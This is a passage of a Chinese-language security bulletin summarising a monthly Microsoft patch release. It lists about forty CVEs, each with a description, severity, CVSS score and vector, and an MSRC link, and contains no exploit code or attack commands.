Service、Windows Routing and Remote Access Service (RRAS)、Windows Audio Service、Windows File History Service等微软家族多个产品的安全更新补丁。请相关用户及时更新对应补丁修复漏洞。 + +微软（Microsoft）是一家美国跨国科技企业，以研发、制造、授权和提供广泛的电脑软件服务业务为主。最为著名和畅销的产品为Windows操作系统和Office系列软件，是全球最大的电脑软件提供商。 + + +**漏洞速览** + + + +本月存在1个在野0day漏洞 + +
重点关注漏洞
1
Windows Advanced Local Procedure Call (ALPC) 特权提升漏洞（CVE-2026-85880）
+ +
严重漏洞
1
Windows Win32k特权提升漏洞（CVE-2026-68880）
2
Windows Win32k特权提升漏洞（CVE-2026-69274）
3
Windows DNS特权提升漏洞（CVE-2026-69310）
4
Windows Device Association Service特权提升漏洞（CVE-2026-69478）
5
Windows Routing and Remote Access Service (RRAS)远程代码执行漏洞（CVE-2026-69852）
6
Windows Audio Service特权提升漏洞（CVE-2026-70562）
7
Windows File History Service特权提升漏洞（CVE-2026-71340）
+ + +**漏洞详情** + + + + +**1.Microsoft Entra ID特权提升漏洞（CVE-2026-62916）** + +
漏洞详情
漏洞标题
Microsoft Entra ID特权提升漏洞（CVE-2026-62916）
漏洞描述
在 Microsoft Entra ID 中，通过备用路径或通道绕过身份验证，允许未经授权的攻击者在网络上提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-62916
CVSS3.1评分
9.1
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：无
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-62916
+ + +**2.Microsoft SQL Server特权提升漏洞（CVE-2026-65669）** + +
漏洞详情
漏洞标题
Microsoft SQL Server特权提升漏洞（CVE-2026-65669）
漏洞描述
SQL Server 中下游组件使用的输出中特殊元素的不当中和（“注入”）允许未经授权的攻击者通过网络提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-65669
CVSS3.1评分
9.6
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-65669
+ + +**3.Skype for Business远程代码执行漏洞（CVE-2026-66302）** + +
漏洞详情
漏洞标题
Skype for Business远程代码执行漏洞（CVE-2026-66302）
漏洞描述
Skype for Business 中存在外部控制文件名或路径的问题，允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-66302
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-66302
+ + +**4.Windows USB Mass Storage Class Driver远程代码执行漏洞（CVE-2026-68839）** + +
漏洞详情
漏洞标题
Windows USB Mass Storage Class Driver远程代码执行漏洞（CVE-2026-68839）
漏洞描述
Windows USB 大容量存储类驱动程序中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-68839
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-68839
+ + +**5.Windows Win32k特权提升漏洞（CVE-2026-68880）** + +
漏洞详情
漏洞标题
Windows Win32k特权提升漏洞（CVE-2026-68880）
漏洞类型
权限提升
危害等级高危
CVE编号
CVE-2026-68880
CVSS3.1评分
8.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：低；用户交互（UI）：需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-68880
+ + +**6.Windows Win32k特权提升漏洞（CVE-2026-69274）** + +
漏洞详情
漏洞标题
Windows Win32k特权提升漏洞（CVE-2026-69274）
漏洞类型
权限提升
危害等级高危
CVE编号
CVE-2026-69274
CVSS3.1评分
7.1
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：高；所需权限（PR）：低；用户交互（UI）：需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69274
+ + +**7.Microsoft UxTheme Library (uxtheme.dll)远程代码执行漏洞（CVE-2026-69276）** + +
漏洞详情
漏洞标题
Microsoft UxTheme Library (uxtheme.dll)远程代码执行漏洞（CVE-2026-69276）
漏洞描述
Microsoft UxTheme 库 (uxtheme.dll) 中的整数下溢（回绕或环绕）漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69276
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69276
+ + +**8.Windows DNS特权提升漏洞（CVE-2026-69310）** + +
漏洞详情
漏洞标题
Windows DNS特权提升漏洞（CVE-2026-69310）
漏洞类型
权限提升
危害等级高危
CVE编号
CVE-2026-69310
CVSS3.1评分
7.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：本地；攻击复杂度（AC）：高；所需权限（PR）：低；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69310
+ + +**9.Microsoft Exchange Server身份伪造漏洞（CVE-2026-69356）** + +
漏洞详情
漏洞标题
Microsoft Exchange Server身份伪造漏洞（CVE-2026-69356）
漏洞描述
在 Microsoft Exchange Server 中，网页生成过程中对输入的中和不当（即“跨站脚本”）漏洞，允许未经授权的攻击者通过网络执行欺骗行为。
漏洞类型
身份伪造
危害等级严重
CVE编号
CVE-2026-69356
CVSS3.1评分
9.3
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：无
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69356
+ + +**10.Microsoft Windows Media Foundation远程代码执行漏洞（CVE-2026-69408）** + +
漏洞详情
漏洞标题
Microsoft Windows Media Foundation远程代码执行漏洞（CVE-2026-69408）
漏洞描述
Microsoft Windows Media Foundation 中的整数溢出或回绕漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69408
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69408
+ + +**11.Telnet Client远程代码执行漏洞（CVE-2026-69431）** + +
漏洞详情
漏洞标题
Telnet Client远程代码执行漏洞（CVE-2026-69431）
漏洞描述
Telnet 客户端中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69431
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69431
+ + +**12.Windows NTFS远程代码执行漏洞（CVE-2026-69463）** + +
漏洞详情
漏洞标题
Windows NTFS远程代码执行漏洞（CVE-2026-69463）
漏洞描述
Windows NTFS 中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69463
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69463
+ + +**13.Windows Device Association Service特权提升漏洞（CVE-2026-69478）** + +
漏洞详情
漏洞标题
Windows Device Association Service特权提升漏洞（CVE-2026-69478）
漏洞类型
权限提升
危害等级高危
CVE编号
CVE-2026-69478
CVSS3.1评分
7.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：本地；攻击复杂度（AC）：低；所需权限（PR）：低；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69478
+ + +**14.Microsoft DirectMusic远程代码执行漏洞（CVE-2026-69491）** + +
漏洞详情
漏洞标题
Microsoft DirectMusic远程代码执行漏洞（CVE-2026-69491）
漏洞描述
Windows Microsoft DirectMusic 中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69491
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69491
+ + +**15.Windows Event Logging Service远程代码执行漏洞（CVE-2026-69493）** + +
漏洞详情
漏洞标题
Windows Event Logging Service远程代码执行漏洞（CVE-2026-69493）
漏洞描述
Windows 事件日志服务中的越界读取漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69493
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69493
+ + +**16.Windows Compressed Folder远程代码执行漏洞（CVE-2026-69496）** + +
漏洞详情
漏洞标题
Windows Compressed Folder远程代码执行漏洞（CVE-2026-69496）
漏洞描述
Windows 压缩文件夹中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69496
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69496
+ + +**17.Remote Desktop Services远程代码执行漏洞（CVE-2026-69525）** + +
漏洞详情
漏洞标题
Remote Desktop Services远程代码执行漏洞（CVE-2026-69525）
漏洞描述
Windows 远程桌面服务中的释放后使用漏洞允许未经身份验证的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69525
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69525
+ + +**18.Windows Message Queuing远程代码执行漏洞（CVE-2026-69579）** + +
漏洞详情
漏洞标题
Windows Message Queuing远程代码执行漏洞（CVE-2026-69579）
漏洞描述
Windows 消息队列中的释放后使用漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69579
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69579
+ + +**19.Microsoft Windows PDF远程代码执行漏洞（CVE-2026-69586）** + +
漏洞详情
漏洞标题
Microsoft Windows PDF远程代码执行漏洞（CVE-2026-69586）
漏洞描述
Microsoft Windows PDF 中的整数溢出或回绕漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69586
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69586
+ + +**20.Windows Routing and Remote Access Service (RRAS)远程代码执行漏洞（CVE-2026-69590）** + +
漏洞详情
漏洞标题
Windows Routing and Remote Access Service (RRAS)远程代码执行漏洞（CVE-2026-69590）
漏洞描述
Windows 路由和远程访问服务 (RRAS) 中的远程代码执行漏洞允许攻击者未经授权访问受害者的计算机
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69590
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69590
+ + +**21.Windows Services for NFS ONCRPC XDR Driver远程代码执行漏洞（CVE-2026-69595）** + +
漏洞详情
漏洞标题
Windows Services for NFS ONCRPC XDR Driver远程代码执行漏洞（CVE-2026-69595）
漏洞描述
Windows Services for NFS ONCRPC XDR 驱动程序中的释放后使用漏洞允许未经身份验证的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69595
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69595
+ + +**22.Microsoft Exchange Server特权提升漏洞（CVE-2026-69641）** + +
漏洞详情
漏洞标题
Microsoft Exchange Server特权提升漏洞（CVE-2026-69641）
漏洞描述
Microsoft Exchange Server 中缺少授权检查，允许经过身份验证的攻击者通过网络提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-69641
CVSS3.1评分
9.1
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：高；用户交互（UI）：不需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69641
+ + +**23.Windows NTFS远程代码执行漏洞（CVE-2026-69669）** + +
漏洞详情
漏洞标题
Windows NTFS远程代码执行漏洞（CVE-2026-69669）
漏洞描述
Windows 内核中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69669
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69669
+ + +**24.Windows Direct Show远程代码执行漏洞（CVE-2026-69715）** + +
漏洞详情
漏洞标题
Windows Direct Show远程代码执行漏洞（CVE-2026-69715）
漏洞描述
Windows DirectShow 中的越界读取漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69715
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69715
+ + +**25.Windows DNS Server远程代码执行漏洞（CVE-2026-69730）** + +
漏洞详情
漏洞标题
Windows DNS Server远程代码执行漏洞（CVE-2026-69730）
漏洞描述
Windows DNS 中的释放后使用漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69730
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69730
+ + +**26.Windows RNDIS远程代码执行漏洞（CVE-2026-69768）** + +
漏洞详情
漏洞标题
Windows RNDIS远程代码执行漏洞（CVE-2026-69768）
漏洞描述
Windows RNDIS 中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69768
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69768
+ + +**27.Windows HTTP Print Provider远程代码执行漏洞（CVE-2026-69769）** + +
漏洞详情
漏洞标题
Windows HTTP Print Provider远程代码执行漏洞（CVE-2026-69769）
漏洞描述
Windows HTTP Print Provider 中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69769
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69769
+ + +**28.RPC Runtime Library远程代码执行漏洞（CVE-2026-69819）** + +
漏洞详情
漏洞标题
RPC Runtime Library远程代码执行漏洞（CVE-2026-69819）
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69819
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69819
+ + +**29.Microsoft Standard XPS远程代码执行漏洞（CVE-2026-69824）** + +
漏洞详情
漏洞标题
Microsoft Standard XPS远程代码执行漏洞（CVE-2026-69824）
漏洞描述
Microsoft Standard XPS 中存在整数下溢（回绕或环绕）漏洞，允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69824
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69824
+ + +**30.Windows Shell远程代码执行漏洞（CVE-2026-69829）** + +
漏洞详情
漏洞标题
Windows Shell远程代码执行漏洞（CVE-2026-69829）
漏洞描述
Windows Shell 中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69829
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69829
+ + +**31.Windows DHCP Server远程代码执行漏洞（CVE-2026-69845）** + +
漏洞详情
漏洞标题
Windows DHCP Server远程代码执行漏洞（CVE-2026-69845）
漏洞描述
Windows DHCP 服务器中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69845
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69845
+ + +**32.Windows Routing and Remote Access Service (RRAS)远程代码执行漏洞（CVE-2026-69852）** + +
漏洞详情
漏洞标题
Windows Routing and Remote Access Service (RRAS)远程代码执行漏洞（CVE-2026-69852）
漏洞类型
远程代码执行
危害等级高危
CVE编号
CVE-2026-69852
CVSS3.1评分
7.5
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：高；所需权限（PR）：低；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69852
+ + +**33.Spring Cloud Azure特权提升漏洞（CVE-2026-69854）** + +
漏洞详情
漏洞标题
Spring Cloud Azure特权提升漏洞（CVE-2026-69854）
漏洞描述
Spring Cloud Azure 中的身份验证不当问题允许未经授权的攻击者通过网络提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-69854
CVSS3.1评分
9.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：高；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69854
+ + +**34.Windows Hyper-V远程代码执行漏洞（CVE-2026-69910）** + +
漏洞详情
漏洞标题
Windows Hyper-V远程代码执行漏洞（CVE-2026-69910）
漏洞描述
Windows Hyper-V 中的基于堆栈的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-69910
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-69910
+ + +**35.Windows Imaging Component远程代码执行漏洞（CVE-2026-70296）** + +
漏洞详情
漏洞标题
Windows Imaging Component远程代码执行漏洞（CVE-2026-70296）
漏洞描述
Windows 成像组件中的越界写入漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-70296
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-70296
+ + +**36.Azure AI Language特权提升漏洞（CVE-2026-70352）** + +
漏洞详情
漏洞标题
Azure AI Language特权提升漏洞（CVE-2026-70352）
漏洞描述
Azure AI Language 中关键功能缺少身份验证，允许未经授权的攻击者通过网络提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-70352
CVSS3.1评分
10.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-70352
+ + +**37.Windows Audio Service特权提升漏洞（CVE-2026-70562）** + +
漏洞详情
漏洞标题
Windows Audio Service特权提升漏洞（CVE-2026-70562）
漏洞类型
权限提升
危害等级高危
CVE编号
CVE-2026-70562
CVSS3.1评分
7.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：本地；攻击复杂度（AC）：高；所需权限（PR）：低；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-70562
+ + +**38.Windows File History Service特权提升漏洞（CVE-2026-71340）** + +
漏洞详情
漏洞标题
Windows File History Service特权提升漏洞（CVE-2026-71340）
漏洞类型
权限提升
危害等级高危
CVE编号
CVE-2026-71340
CVSS3.1评分
7.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：本地；攻击复杂度（AC）：高；所需权限（PR）：低；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-71340
+ + +**39.Windows DHCP Server远程代码执行漏洞（CVE-2026-72979）** + +
漏洞详情
漏洞标题
Windows DHCP Server远程代码执行漏洞（CVE-2026-72979）
漏洞描述
Windows DHCP 服务器中的释放后使用漏洞允许未经身份验证的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-72979
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-72979
+ + +**40.Windows Netlogon远程代码执行漏洞（CVE-2026-72982）** + +
漏洞详情
漏洞标题
Windows Netlogon远程代码执行漏洞（CVE-2026-72982）
漏洞描述
Windows Netlogon 中的基于栈的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-72982
CVSS3.1评分
9.8
CNVD编号
未分配
